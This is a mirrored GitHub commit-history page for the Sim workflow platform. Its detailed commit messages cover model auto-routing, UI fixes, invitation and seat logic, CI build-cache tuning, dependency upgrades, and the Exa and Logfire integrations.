mirror of
https://github.com/simstudioai/sim.git
synced 2026-09-01 14:59:19 +08:00
aeb7eae3f8824688791abc6b945f51ce74de64f4
5740 Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
 Siddharth Ganesan
|
aeb7eae3f8 |
feat(model): sim auto model (#6103)
* Add sim-auto: automatic model routing for the agent block (hosted) - 'Auto' model option (Sim wordmark icon, hosted-only, new-block default; runtime fallback for unset models stays claude-sonnet-5) - Resolver (lib/model-router): classifies each execution via mothership's /api/model-router and routes over two ladders — text: fireworks/glm-5.2 -> fireworks/kimi-k3 (new static hosted Fireworks catalog entries on the platform FIREWORKS_API_KEY); attachments: claude-haiku-4-5 -> gpt-5.5 (Fireworks OSS endpoints reject images). Trivial tasks skip the router; 5-min decision cache; 2s timeout; never fails the workflow - Hidden identity preamble on every auto run (English by default, don't volunteer the underlying model) - Fireworks executor: wire-name map for catalog ids (glm-5.2 -> glm-5p2), pricing keyed on the full catalog id - Billing: routing cost applied to non-streaming output cost only when mothership marks the call billable (bill-model-router flag, default off) - sim-auto special-cases: API-key condition, serialization tool lookup, edit-workflow validation (hosted), VFS model options projection * auto model * agent auto model * fix lint |
||
|
Waleed
|
66478087f7 |
fix(sidebar): stop the workspace switcher stranding a phantom hover (#6096)
* fix(sidebar): stop the workspace switcher stranding a phantom hover The switcher's keyboard cursor is set from `onMouseMove` and only cleared when the menu closes, and it paints in `--surface-active` — the same token hover uses. So the last row the pointer crossed keeps a background indistinguishable from hover long after the pointer has gone, sitting alongside the equally-`--surface-active` current workspace as a second phantom-hovered row. It shows without any hovering too: the cursor is seeded to row 0 on open, so any user whose current workspace is not first sees two marked rows immediately. Only bites above the 3-workspace search threshold, which is why it went unnoticed. Paint the cursor only while the user is actually navigating by keyboard. Arrow keys enter that mode, any pointer motion leaves it, so in pointer mode the sole mark is real CSS :hover — which follows the pointer and leaves with it. `highlightedId` still tracks the pointer, so Enter keeps targeting the row last touched; only whether it is drawn changes. This is the pattern emcn's own popover already uses (`isKeyboardNav`, commented "prevent dual highlights") and that `tag-dropdown` consumes, and it matches how Headless UI models a combobox: one modality-driven focus marker, separate from the selected value. The list carries no `aria-activedescendant`/`aria-selected`, so the highlight is purely visual and nothing in the a11y contract changes. * test(sidebar): assert the keyboard cursor on a row that isn't selected Review round 1: the keyboard-positive assertions landed on the current workspace, which carries its own `isActive` fill, so they held whether or not the cursor was painted — the tests could not have caught deleting keyboard-cursor rendering. Navigate with ArrowUp instead, wrapping from the seeded first row to the last, and assert on that row. Verified both directions now: removing the modality gate reddens three tests, removing keyboard painting reddens two. * fix(sidebar): do not arm Enter without a visible target Review round 1: gating the cursor's paint on keyboard mode left Enter still acting on the seeded first row while that row was unmarked. The search field takes focus on open, so Enter could switch workspace with nothing shown as the target — emcn's popover instead holds its selection at -1 and ignores Enter until keyboard nav begins. Enter now acts only once a cursor is on screen, and typing counts as keyboard intent so the common "filter, then Enter" flow lands on a visible top result. Every path to Enter therefore has a marked target. --------- Co-authored-by: Waleed Latif <waleed@simstudio.ai> |
||
|
Waleed
|
d95127da67 | fix(settings): add bottom padding to settings sidebar (#6097) | ||
|
Theodore Li
|
32293f4b55 | feat(tables): typed predicate filter grammar, cursor pagination, and the v2 table surface (#6067) | ||
|
Waleed
|
1ce2aef19a |
fix(triggers): stop cloned trigger blocks reusing the source's webhook URL (#6091)
Before a deploy, a trigger block's webhook URL is DERIVED — useWebhookManagement and the canvas both fall back to the block's own id, which cloning already regenerates, so copying an undeployed trigger yields a fresh URL. Deploy then registers the webhook at `path = triggerPath || block.id` and writes that literal path back into the source block's `triggerPath`. From then on the URL is STORED, and copy/paste copies it verbatim, so the clone renders the source's URL. Clear `triggerPath` on in-canvas clones so the clone derives a path from its new block id again. - Clears both the subBlocks structure and the sub-block value map: the value map is authoritative in mergeSubblockStateWithValues, and since no trigger declares `triggerPath` as a subblock it normally lives only in the store. - Deliberately unconditional and limited to `triggerPath`. No block declares that id, so there is nothing to collide with and no need to classify the block. - The sibling TRIGGER_RUNTIME_SUBBLOCK_IDS entries are left alone on purpose. `triggerConfig`/`triggerId` are user configuration. `webhookId` is a user-entered action field on Attio, Vercel, and Discord — and Attio/Vercel are trigger-capable, so clearing it by trigger-ness would destroy real config — while being unused as trigger state, since deploy mints its own row id and matches existing rows by block id. Scoped to the clone paths. No deploy-side, server-side, or import/export change. |
||
|
Waleed
|
edef78922b |
feat(desktop): floating hover-peek sidebar (#6086)
* feat(desktop): floating hover-peek sidebar
On the macOS desktop shell the collapsed sidebar has no width at all
(`--sidebar-collapsed-width: 0`), so the only ways back were ⌘B and the
title-bar toggle. Hovering that toggle now floats the sidebar in as a card
over the content, inset from the window edge, and it retracts when the
pointer leaves. Clicking the same control still docks it for good.
The card is the existing `.sidebar-shell-outer` re-styled, not a second
surface: `<Sidebar>` is never re-mounted, so its scroll position and
expansion state survive a peek. One CSS rule re-points `--sidebar-width` at
a new `--sidebar-expanded-width`, and the inner shell and aside follow with
no per-element overrides. Chrome is all existing tokens — `--radius`,
`--border`, `shadow-overlay`, `--z-modal` — and the fill is the sidebar's
own `--surface-1`, so docked and floating are the same surface. Enter/exit
use the popper idiom (`fade-in-0 zoom-in-95`) that emcn's Radix surfaces
already use.
Also migrates the search palette from raw `z-40`/`z-50` to `--z-modal`. It
was the one overlay outranked by the new card, and the raw values also put
it below `--z-toast`, inverting the order globals.css documents.
Settings drive-bys, all pre-existing violations in files this touches:
tokenize two literal pixel text sizes in passwords-view, route its cards
through `SettingsResourceRow` instead of four re-derived chrome constants,
and collapse three `{null}`-bodied `SettingsSection`s in browser settings
into one section of real rows.
* fix(desktop): close the peek's three timer races
Review round 1 (Cursor Bugbot) found three ways the card could flicker:
- A modal opening mid-dwell left the open timer pending, so the card
mounted over the modal before the dismiss path could run.
- A modal opening while the card was already animating out let it keep
animating on top of the modal.
- Re-hovering the toggle late in the exit window scheduled a fresh dwell
without clearing the exit timer, so the card unmounted and then
re-mounted — a visible gap with the pointer never leaving the toggle.
The first two collapse into one fix: merge the two reset effects so an
unavailable peek and a screen-owning modal both drop the card immediately,
unconditionally clearing all three timers. Instant is also the right look,
since the modal's scrim covers the card's position on the same frame.
For the third, a re-hover during the exit now re-opens synchronously rather
than scheduling another dwell — the card is already on screen, so the dwell
that guards against accidental opens from a cold state does not apply.
One regression test each.
* fix(desktop): arm the peek before first paint
Review round 2: the title-bar seed ran in a passive effect, which lands
after paint — long enough for a `mouseenter` on the toggle to be dropped
while the peek still read disabled, with nothing to retry it until the
pointer left and returned. A regression from folding the seed into the
window-state effect during cleanup.
Promoted to a layout effect, which runs before paint and before any mouse
event can be dispatched. The body is cheap synchronous reads plus a
subscription; the bridge's getState stays async and blocks nothing.
---------
Co-authored-by: Waleed Latif <waleed@simstudio.ai>
|
||
|
Vikhyath Mondreti
|
11c0d3b75d |
feat(organizations): sweep a joiner's owned workspaces into the org on join, disclose it at accept, and add external workspace invites (#5918)
* feat(invites): explicit external members
* update docs
* fix(organizations): atomic admin workspace sweep, removal-impact status in dialog, and preview-unavailable disclosure
Review round 1: the v1 admin add-member now commits membership and the
workspace sweep in one transaction; the remove-member dialog holds confirm
while the credential-impact check loads and shows a caution when it fails;
a failed join preview flags joinPreviewUnavailable so the accept screen
falls back to a generic migration notice. Also aligns the invite test's
react-query mock and repairs two pre-existing docs type errors.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(organizations): close the concurrent-workspace escape in the join sweep
Personal workspace creation now serializes with organization joins on the
user's billing-identity lock and re-verifies membership inside its
transaction; both join paths (invite acceptance and the v1 admin add)
re-read the owned-workspace set under that lock after the member insert
and roll the whole join back when it diverged from the advisory-lock plan,
so a workspace created mid-join can never land outside the organization.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(organizations): fail stale-grant member joins and re-resolve the creation race client-side
A member-role org acceptance whose grants all turned stale now rolls back
with workspace-not-found instead of stranding a workspace-less member, and
the workspace resolver treats the creation-vs-join 409 as a signal to
re-resolve (the user is authenticated with org workspaces) rather than
falling into the login path.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(invitations): mirror the stale-grant gate in the join preview
The accept-screen preview now returns no-join for a member-role org
invite whose grants all left the stamped organization, matching the
acceptance-side rollback so the disclosure never promises a migration
that acceptance would refuse.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(workspaces): survive the join race on lazy default creation and gate removal on live impact data
The workspace list GET now re-lists (returning the join sweep's
workspaces) when lazy default creation loses the race to an organization
join instead of failing with a 500, and the remove-member dialog gates
its confirm on isFetching so a background refetch can never let an admin
confirm against a stale credential-impact list.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(invitations): surface the accept conflict message and refresh workspace caches post-accept
The accept route now carries the human-readable message alongside the
machine-readable error kind (the client prefers it for server-error), and
a successful accept invalidates workspace queries so the swept workspaces
appear immediately instead of after the stale window.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(billing): sweep archived workspaces in Pro-to-Team conversion and org creation
Every attach call site now passes includeArchived so the archived escape
hatch is closed uniformly — join-attach, admin move, subscription-driven
org provisioning, and manual org creation all sweep archived personal
workspaces into the organization.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(invitations): reject acceptance when the sweep set differs from the disclosed set
The join preview now carries the workspace ids it disclosed, the accept
screen echoes them back as a disclosure token, and acceptance rolls back
with disclosure-outdated (409) whenever the set it would sweep no longer
matches — a workspace created after the preview rendered can never move
without the user seeing the refreshed notice first.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(invitations): send the disclosure token for no-join previews too
A preview that predicted no join still tells the user nothing moves — the
empty disclosed set is now echoed on accept, so a join that becomes
possible between preview and accept (left another org, billing turned
usable, grants un-staled) conflicts with disclosure-outdated instead of
sweeping workspaces without a rendered notice.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(invitations): gate all-stale member joins before disclosure and always refetch removal impact
The all-stale check for member-role org invites now runs before any
mutation and before the disclosure comparison, so an invite whose grants
all left the org fails with workspace-not-found instead of trapping
owners of personal workspaces in a disclosure-outdated retry loop. The
removal-impact query drops its stale window (staleTime 0): every dialog
open refetches while the confirm is held on isFetching.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(organizations): keep-external on org recovery and label archived move candidates
Org creation/recovery now uses the keep-external collaborator policy
(matching Pro-to-Team conversion) so different-org collaborators on
archived workspaces cannot abort it with a conflict, and the admin
workspace-move search and preflight expose an archived flag so internal
tooling can label archived targets.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(invitations): guard the reverse disclosure direction
A will-join notice whose acceptance downgrades to no-join (stale
escalation denial, concurrent other-org membership) now fails with
disclosure-outdated instead of silently succeeding as an external grant —
the disclosure token binds the outcome in both directions.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* address comments
* fix
* fix(invitations): one invite surface, coalesced grants, coherent seat model
Consolidate the two invite modals into a single surface and fix the
semantics the split had been hiding.
Invite flow:
- One InviteModal for all three entry points (workspace header, workspace
settings, organization settings), with a workspace multi-select and an
explicit Membership choice that states the seat consequence.
- Coalesce grants instead of 500ing. A partial unique index allows one
pending invitation per (email, organization), so inviting someone to a
second workspace raised a raw 23505. New workspaces now merge into the
pending invitation (with a retry for the concurrent-insert race) and the
invitee gets one link covering everything.
- External collaborators require their own paid plan, checked at invite
time and re-checked on accept, since the invitation lives for 7 days.
Imposed externality is exempt in both places: an invitee already in
another organization is forced external regardless of the inviter's
choice, so the plan gate must not apply to them.
- Every invitation must grant at least one workspace, so accepting always
lands somewhere. Enforced at creation for all roles.
- Revocation is grant-scoped. Since one invitation can span workspaces,
revoking from a workspace's member list withdraws only that grant and
cancels the invitation just when the last one goes. Whole-invitation
revocation now requires authority over all of it rather than admin on
any single granted workspace.
- The accept screen names every granted workspace and states whether the
invitee joins as a member, an admin, or an external collaborator, and
whether that uses a seat.
Seats:
- One rule for the pending-invitation predicate, seat capacity, and the
derived figures; the three counting sites now share it.
- Team seats are elastic (subscription.seats tracks the member count), so
treating that as a cap reported negative headroom on any outstanding
invite. Available seats are clamped and gates branch on whether the plan
actually has a fixed cap.
- POST /api/v1/admin/organizations/[id]/members could never succeed on
Team: it validated N members against N seats. It now skips the cap for
elastic plans, matching invitation acceptance, and reconciles seats
after a committed add.
Also surfaces the External label on the workspace Teammates list, which
already received the flag and dropped it, and removes dead code: the
grantless organization-invite route and contract, three unreferenced
invitation helpers, and the unreachable
ensureUserInOrganization/addUserToOrganization/validateMembershipAddition
cluster.
Co-Authored-By: Claude <noreply@anthropic.com>
* fix(invitations): close the two accept-disclosure gaps Bugbot found
Membership notice ignored the join preview. `buildMembershipNotice` keyed off
the invitation's sent `membershipIntent`, but acceptance resolves an internal
invite to external when the invitee already belongs to another organization, or
when the granted workspace changed organizations after the invite went out. The
screen therefore promised "you'll join as a member, which uses one of their
seats" to people who would neither join nor consume a seat. It now keys on the
preview's `willJoinOrganization` — the same signal the migration notice already
used — and falls back to the sent intent only when no preview could be computed.
In-app accept skipped the disclosure entirely. `useAcceptMyInvitation` posted an
empty body, so `disclosedWorkspaceIds` was absent and the server's consent guard
was skipped, and the pending-invitations modal never showed which owned
workspaces would move. Accepting from the workspace switcher (including the
desktop path) could silently sweep personal workspaces into the organization,
bypassing the consent model this PR adds on /invite. The list endpoint now
returns each invitation's join preview, the modal renders the same
membership/migration disclosure as /invite, and accept echoes
`disclosedWorkspaceIds` so the guard applies on both paths.
Both notices moved into lib/invitations/disclosure-copy.ts and are consumed by
/invite and the modal, so the two accept surfaces cannot drift into disclosing
different outcomes for the same invitation — which is how this gap arose.
Co-Authored-By: Claude <noreply@anthropic.com>
* fix(invitations): carry the membership outcome in the disclosure token
Empty disclosure skipped membership consent. The token was only the
workspace-id list, so a no-join preview and a will-join preview for someone who
owns nothing both echoed `[]`. Neither guard could tell those apart: the forward
check compares sweep sets, and the reverse check required a non-empty disclosed
set. An invitee who left their other organization between preview and accept
would therefore be silently made a seat-consuming member after being told they
would stay external, and the mirror case could silently demote a promised join.
The accept body now also carries `disclosedWillJoinOrganization`, compared
against the resolved outcome before any write, so consent covers the membership
decision and not just the migration. Both accept surfaces send it.
This was widened by the previous commit: keying the membership notice on the
preview made the screen promise a join outcome the token never verified.
In-app accept errors lacked copy. `getInvitationErrorMessage` omitted
`external-requires-paid-plan`, `disclosure-outdated`, and
`workspace-not-found`, so those failures fell through to the generic "may have
expired" fallback. `disclosure-outdated` became newly reachable in-app the moment
that path started sending the token, so the gap arrived with the fix for it.
Co-Authored-By: Claude <noreply@anthropic.com>
* fix(invitations): compare the join disclosure against new-membership creation
The membership consent guard compared the disclosed outcome against
`shouldJoinOrganization`, which stays true for an invitee who already belongs to
the target organization — the invitation's intent is still internal. The join
preview reports no-join for exactly that case, because nothing changes for them.
Every such acceptance therefore failed `disclosure-outdated`, and the retry
re-rendered the same preview, so the invitation became permanently unacceptable.
The guard now compares against whether acceptance creates a NEW membership
(`shouldJoinOrganization && !alreadyMemberOfTargetOrganization`), which is what
the disclosure actually promises and what the preview reports. The
already-a-member predicate is hoisted and shared with the join block below so
the guard and the billing path cannot disagree about it.
Regression test asserts a pre-existing member accepts with a no-join disclosure;
it fails with `disclosure-outdated` against the previous comparison.
Co-Authored-By: Claude <noreply@anthropic.com>
* fix(invitations): tell an existing member their standing is unchanged
The join preview reported the same no-join shape for two different outcomes: an
external collaborator, and an invitee who already belongs to the organization
acceptance lands in. `buildMembershipNotice` rendered both as "you'll join as an
external collaborator ... everything you own stays yours", which is wrong for an
existing member — they stay an internal member and simply gain the granted
workspaces.
The preview now reports `alreadyMemberOfOrganization` for that case (a
membership in a DIFFERENCE organization is still the external path, since
acceptance downgrades), and the notice states that standing is unchanged. This is
the same conflation behind the accept loop fixed in
|
||
|
Waleed
|
8260891576 |
chore(gitignore): ignore the repo-root uploads spill directory (#6089)
UPLOAD_DIR_SERVER is join(process.cwd(), 'uploads'), so it follows the cwd rather than a fixed root. Under turbo run test the cwd is apps/sim and that package's /uploads rule catches it, but running vitest from the repo root writes ~40 uploads/execution/**/large-value-*.json files to a path nothing ignored. Anchored on purpose: an unanchored uploads/ would also match apps/sim/lib/uploads/ (61 tracked source files) and silently ignore anything added there later. |
||
|
Waleed
|
d67e02f978 |
perf(tests): skip jest-dom in node-environment test files (#6088)
`vitest.setup.ts` loaded `@testing-library/jest-dom/vitest` unconditionally, so all 1,219 test files paid for it. jest-dom only registers DOM matchers (`toBeInTheDocument`, `toBeVisible`, ...), which are useless without a document — and 985 of those files declare `@vitest-environment node`. Guarding the import on `typeof document !== 'undefined'` loads it for exactly the files that can use it. All 7 files that actually call a jest-dom matcher are explicitly `@vitest-environment jsdom`, so none loses anything; verified by running them. Measured locally, same machine, full suite: baseline Duration 179.47s (setup 367.13s aggregate) guarded Duration 165.78s (setup 252.72s aggregate) 7.6% off the suite, 31% off aggregate setup time. On a node-only subset (50 files, n=3 each) it is 21%: 2.75s -> 2.16s median. Identical results either way: 1225 files / 16184 tests pass, plus one failure that reproduces on unmodified staging (cloud-review-tools.test.ts cannot find `rg` from its spawned python3 locally; CI installs ripgrep explicitly and it passes there). Also fixes two pieces of CI documentation that claimed more than the code does — the same class of thing #6076 cleaned up: - The step was named "Run tests with coverage" but runs `bun run test` = `vitest run`, with no `--coverage` anywhere. - The Codecov upload reads `apps/sim/coverage`, which nothing generates (vitest.config.ts declares no coverage provider). It uploads nothing and still reports success in ~1s because `fail_ci_if_error: false`. Annotated rather than deleted, since whether to enable coverage or drop the step is a call for the team, not a side effect of a perf change. |
||
|
Vikhyath Mondreti
|
18ddc22bef |
feat(library): Best AI Agents for Scheduling and Calendar Management in 2026 (#6084)
* feat(library): Best AI Agents for Scheduling and Calendar Management in 2026 * feat(library): add cover image for the scheduling and calendar management post --------- Co-authored-by: Sim Pi Agent <pi@sim.ai> Co-authored-by: Waleed Latif <walif6@gmail.com> |
||
|
Waleed
|
3e62546e50 |
perf(ci): disable the Turbopack persistent build cache (3.2x faster builds) (#6080)
* perf(ci): disable the Turbopack persistent build cache It is a net loss at this app's size. A controlled A/B on one branch (#6078), three runs with a byte-identical module graph so only cache state varied: cache OFF 113s compile, 2m53s job cache ON, cold 162s compile, 3m54s job cache ON, warm 360s compile, 8m18s job The cache made the same build 3.2x slower. It also grew 5.1 GB -> 12 GB across two runs of an unchanged tree, which explains the progressive degradation seen on longer-lived disks (up to 11.7 min): the more a disk is written, the more the next run must read and revalidate. Flag manipulation is visible in the logs — the cache-on runs print `✓ turbopackFileSystemCacheForBuild`, the cache-off run omits it — and every run used `turbo --force` so none is a replayed log. #5869 enabled this on locally-measured numbers (105s cold -> 22s warm) that never reproduced in CI and are inverted here. #6072 then branch-scoped the disk to stop PRs restoring each other's caches; that fixed a real problem, but with the cache off the disk is unnecessary, so the mount, the pre/post size reporting, and the env gate all go with it. Pins `turbopackFileSystemCacheForBuild: false` explicitly rather than relying on the Next default: upstream already flips that default to true in canary/preview builds (vercel/next.js#94616), so leaning on the default would let a version bump silently re-enable this. Keeps ci-cache-cleanup.yml, re-scoped to draining the 5-12 GB volumes that PRs opened while the per-branch key was live still hold — nothing else reclaims them. It is a no-op for new PRs and can be deleted once drained. Caveat: n=1 per cell. The 3.2x effect size and agreement with ~15 prior observations make it convincing, but this is three runs, not a distribution. * docs(ci): correct the cleanup key comment after the mount was removed Greptile P2: the delete step still claimed its key must stay byte-identical to the Mount Next.js build cache step in test-build.yml, but this PR removes that mount. It is now a hard-coded legacy drain key that mirrors nothing. |
||
|
Waleed
|
897eebdf8c |
fix(blocks): stop registry.ts reading BLOCK_REGISTRY at module scope (#6083)
`blocks/registry-maps` and `blocks/registry` sit in an import cycle: a block
config reaches back through providers/utils -> tools/params -> blocks/index
-> blocks/registry, which imports registry-maps. Whichever module the cycle
is entered through evaluates first, so `blocks/registry` can run while
`registry-maps` is still initializing.
Two module-scope reads of the imported binding therefore threw
`ReferenceError: Cannot access 'BLOCK_REGISTRY' before initialization` for
anything importing `@/blocks/registry-maps` directly — scripts and tests
under Bun:
const HAS_PREVIEW_BLOCKS = Object.values(BLOCK_REGISTRY).some(...) // line 28
export const registry: Record<string, BlockConfig> = BLOCK_REGISTRY // line 238
Only line 28 showed in the stack trace; fixing it alone would have moved the
failure to line 238. Both are now deferred: `anyPreviewBlocks()` memoizes on
first use (still computed once, as the old comment promised), and the raw map
is exposed as `getBlockRegistry()`.
This worked under Turbopack only because that bundler happened to order the
modules favourably — not a property to build on, and any registry
restructuring would perturb it. Breaking it now is a prerequisite for the
metadata/implementation split that the tool-registry module-graph audit
proposes, not a fix to discover midway through one.
Three consumers updated. `tsc` found two that grep missed, because they
destructure the binding off a dynamic import (`const { registry: blockRegistry }
= await import(...)`) rather than naming it in a static import.
Behaviour-preserving: `getBlockRegistry()[type]` is the same raw lookup the
alias gave, deliberately not `getBlock()`, which would add version
normalization and custom-block overlay fallback.
|
||
|
Bill Leoutsakos
|
94778eb68d |
feat(pi): add update PR mode (#6031)
* feat(pi): add update branch mode * feat(pi): manage pull requests in update mode * docs(pi): clarify closed PR behavior * fix(pi): handle update PR finalization races * fix(pi): accept renamed update PR repositories * fix(pi): clarify shared open PR errors * fix(pi): recheck update PR ambiguity * fix(pi): recreate closed update PRs * fix(pi): follow replacement update PRs * fix(pi): preserve update PR BYOK after staging rebase --------- Co-authored-by: Bill Leoutsakos <billleoutsakos@Bills-MacBook-Pro.local> Co-authored-by: Bill Leoutsakos <billleoutsakos@Mac.localdomain> |
||
|
Waleed
|
4b239faf88 |
fix(tests): stop pi-lifetime asserting the ceiling on a racing boundary (#6082)
`keeps the ceiling when the run outlives it` passed a deadline of exactly `PI_SANDBOX_MAX_LIFETIME_MS`, then asserted the resolved lifetime equalled that ceiling. But the lifetime is `Math.min(ceiling, deadline - Date.now())`, so the remaining budget decays below the ceiling as soon as one millisecond of test time elapses and `Math.min` returns the budget instead. It passed only when zero milliseconds happened to pass, which is why it failed CI as `expected 5399999 to be 5400000` — 1 failure in 16,047. Demonstrated: with the old input, a 5ms delay before the assertion yields 5399994 (off by 6ms); with a deadline 60s past the ceiling it yields 5400000 exactly, regardless of elapsed time. An equal deadline was also not the case the test name describes — the run has to *outlive* the ceiling, not match it — so raising it past the ceiling fixes the assertion and the intent together. Derives the input from `PI_SANDBOX_MAX_LIFETIME_MS` rather than restating 90 minutes, so the test cannot drift if the async execution ceiling moves. Also drops the old comment's claim that "the provider cap still wins": the provider cap is 24h, far above the 90m async ceiling, so the ceiling is what wins here. |
||
|
Waleed
|
911b958dbd |
feat(exa): refresh Exa integration against current API, retire dead research endpoint (#6074)
* feat(exa): refresh Exa integration against current API, retire dead research endpoint Exa's dev-rel team flagged that our integration was written against a retired version of their API. Validated every claim against the live API with a real key. - /research/v1 returns HTTP 410 RESEARCH_RETIRED, so the Research operation was hard-broken in production. Removed it and added an Agent operation on /agent/runs. Saved workflows on the old operation are routed to Agent so they start working again. - Category dropdown sent values Exa no longer recognizes (research_paper, news_article, movie, song, ...). Exa accepts category as an unvalidated soft hint, so these silently stopped steering results rather than erroring. Replaced with the current taxonomy and remapped legacy values. - Live crawl mode defaulted to 'never', silently forcing cache-only results on every search. Removed the default and exposed maxAgeHours, which replaces the deprecated livecrawl. Exa 400s when both are sent, so they are now mutually exclusive. - numResults was capped at 25 in the UI; the API allows 1-100. - Search types refreshed to instant/fast/auto/deep-lite/deep/ deep-reasoning. Legacy neural/keyword still pass through. - Exposed result id so search results can be chained into Get Contents via ids, plus highlightScores, subpages, entities, extras, statuses, requestId, and outputSchema structured output with grounding. - answer text controls cited-source text, not the answer; fixed the description and the dead query field. - Marked findSimilar and the crawl-date filters deprecated. Both still work, so existing workflows are unaffected. - Copilot search-online never requested page content, so every snippet was empty. Now requests highlights. * fix(exa): address review findings on the API refresh - A run already terminal on creation went through a path that never set success=false, so a failed or cancelled run reported as successful. Both the create path and the poll loop now settle through one function. - Routing exa_research to Agent dropped the research output shape, so saved workflows referencing research[0].text resolved to undefined. The agent tool now also emits that legacy shape. - The Agent operation's inputs are conditioned on both exa_agent and exa_research so the serializer keeps carrying a stored research query; it drops any value whose sub-block condition no longer matches. - Dropped the model to effort mapping and the unused ExaResearchParams: the serializer drops values for removed sub-blocks, so model never reached the params function. * fix(exa): keep legacy research model, add subblock migrations, sharpen outputs The subblock ID stability check caught the removed subblocks — that gate exists precisely to stop removals from breaking deployed workflows. - Restore the research model sub-block, scoped to the legacy exa_research operation so it never shows for new workflows but still serializes for saved ones, and restore the model to effort mapping. Removing it lost the configured research depth, silently falling back to effort auto. - Register useAutoprompt and livecrawl in SUBBLOCK_ID_MIGRATIONS as intentional removals. Neither has a value-compatible replacement: livecrawl is a mode string and maxAgeHours a number, so mapping one to the other would send NaN. - Replace vague json output descriptions with their inner field lists. - Drop the separate compat test file; the coverage that guards real regressions now lives in exa.test.ts. * fix(exa): flag empty Get Contents configs in the editor, keep legacy research depth - A saved research workflow with no stored model fell through to the Agent default of auto rather than the standard depth the old Research operation used. Legacy research now always maps to an effort level, defaulting to medium, and the legacy model sub-block carries the same default the old dropdown had. - Get Contents needed both selectors optional so the ids path is reachable, which left an empty config failing only at run time. URLs is now conditionally required, dropping the requirement when result IDs are supplied, so the editor flags the empty case. The exactly-one check in the request body stays as the backstop. * fix(exa): revert conditional required on Get Contents URLs The conditional required callback did not work and introduced a regression. `isFieldRequired` in webhook deploy calls `config.required()` with no arguments, so the callback never saw `ids` and left URLs required — an ids-only block would have been reported as missing a required field on deploy. `collectBlockFieldIssues` skips sub-block required checks whose id matches a tool param, so it never evaluated the callback either. Both selectors go back to optional with the exactly-one check in the request body, which is what the integration rules prescribe for mutually exclusive alternate identifiers. Added a comment recording why a conditional required cannot express this, so it is not reattempted. |
||
|
Waleed
|
f0b79c5cc6 |
chore(deps): upgrade next 16.2.11 -> 16.2.12 (#6077)
16.2.12 is the current stable (published 2026-07-25) and its entire changelog is two PRs: a docs backport and vercel/next.js#95831, "Fixes to support TypeScript 7". That second one matters here. `apps/sim` declares `typescript: ^7.0.2` and the lockfile resolves 7.0.2, while 16.2.11 predates any TS7 handling — not even the actionable-error guard (#95837), which was never merged. The upstream symptom is `next build` dying with a silent SIGSEGV during its type-check step, because the legacy TypeScript JS API that Next called is gone in TS7. Builds pass today only because Next detects @typescript/native-preview as the compiler and takes a different path, so we are accidentally-working rather than supported. 16.2.12 adds the `experimental.useTypeScriptCli` backend that makes this configuration official. Zero build-performance content in the patch, so this is not a speed change. Bumps all eight pins in lockstep — next, @next/env and the four @next/swc-* binaries at the root, plus the three app/package copies. The swc binaries must move with next: they are platform-gated optionalDependencies, so a version skew or a gate exclusion leaves them out of bun.lock entirely and `bun install --frozen-lockfile` installs no compiler at all (the #5945 failure). Also re-dates the bunfig.toml gate note, which said to drop the next entries on 2026-07-28 — yesterday. 16.2.12 is inside the 7-day window until 2026-08-01, so following that instruction would have blocked this bump and re-triggered the missing-compiler failure. Re-date on future bumps rather than deleting the entries early. |
||
|
Vikhyath Mondreti
|
f78367c4e8 |
feat(logfire): add Pydantic Logfire block, tools, and docs (#6075)
Four read-token tools over Logfire's query API: structured span/log search,
raw SQL against records/metrics, full-trace fetch by ID, and read-token
introspection. Plus the block, icon, registry wiring, and generated docs.
Requests go to /v2/query with the region resolved from the token's
pylf_v{n}_{region}_ prefix, overridable by an explicit region or a self-hosted
host (public HTTPS only, per the tool executor's URL policy). Structured
filters are emitted as escaped SQL literals, using DataFusion contains() so
%/_ in user input stay literal.
Co-authored-by: Claude <noreply@anthropic.com>
|
||
|
Waleed
|
0a0acc2bd8 |
fix(config): drop three dead next.config entries and correct two stale comments (#6076)
`optimizePackageImports` is not a no-op under Turbopack, despite what the
Next docs say. In 16.2.11 the list feeds `side_effect_free_packages` and is
force-appended to `transpiledPackages`, which also removes each entry from
the server externals set — and it overrides each listed package's own
`sideEffects` declaration rather than hinting. So a stale entry is not free.
Two entries are provably dead: `lodash` has zero import sites repo-wide and
is not a dependency of any package here (Next also already applies a
`lodash -> lodash/{{member}}` modularizeImports rule unconditionally), and
`@radix-ui/react-accordion`'s only occurrence in the repo was this line.
`prettier` in `transpilePackages` is dead for a different reason: nothing
imports it, it is in no package.json, and the repo formats with Biome. It
sits in node_modules only as a transitive dep. `transpilePackages` matches
on modules already in the graph, so this entry was transpiling nothing.
Also corrects two comments that claimed more than the code does:
- the `.map` header rule said it blocks access to sourcemaps; it only sets
`noindex` and a TTL. The maps ship publicly in the production image.
- the minimal-registry comment's numbers were badly stale (~247 tools ->
4,351; ~2,074 modules -> ~5,907) and its framing wrong: blocks are not a
co-equal cost, and the tool registry is reached through four redundant
client edges, not just providers/utils — which is why cutting only that
one edge buys a single module.
No behavior change intended: the removed entries were inert. Kept `zod`,
`reactflow`, `framer-motion`, and `streamdown`, which are real barrels with
real import sites — removing those changes tree-shaking hints and needs a
bundle-size measurement, not a guess.
|
||
|
Waleed
|
998fd5a340 |
fix(ci): scope the Next.js build cache sticky disk per branch (#6072)
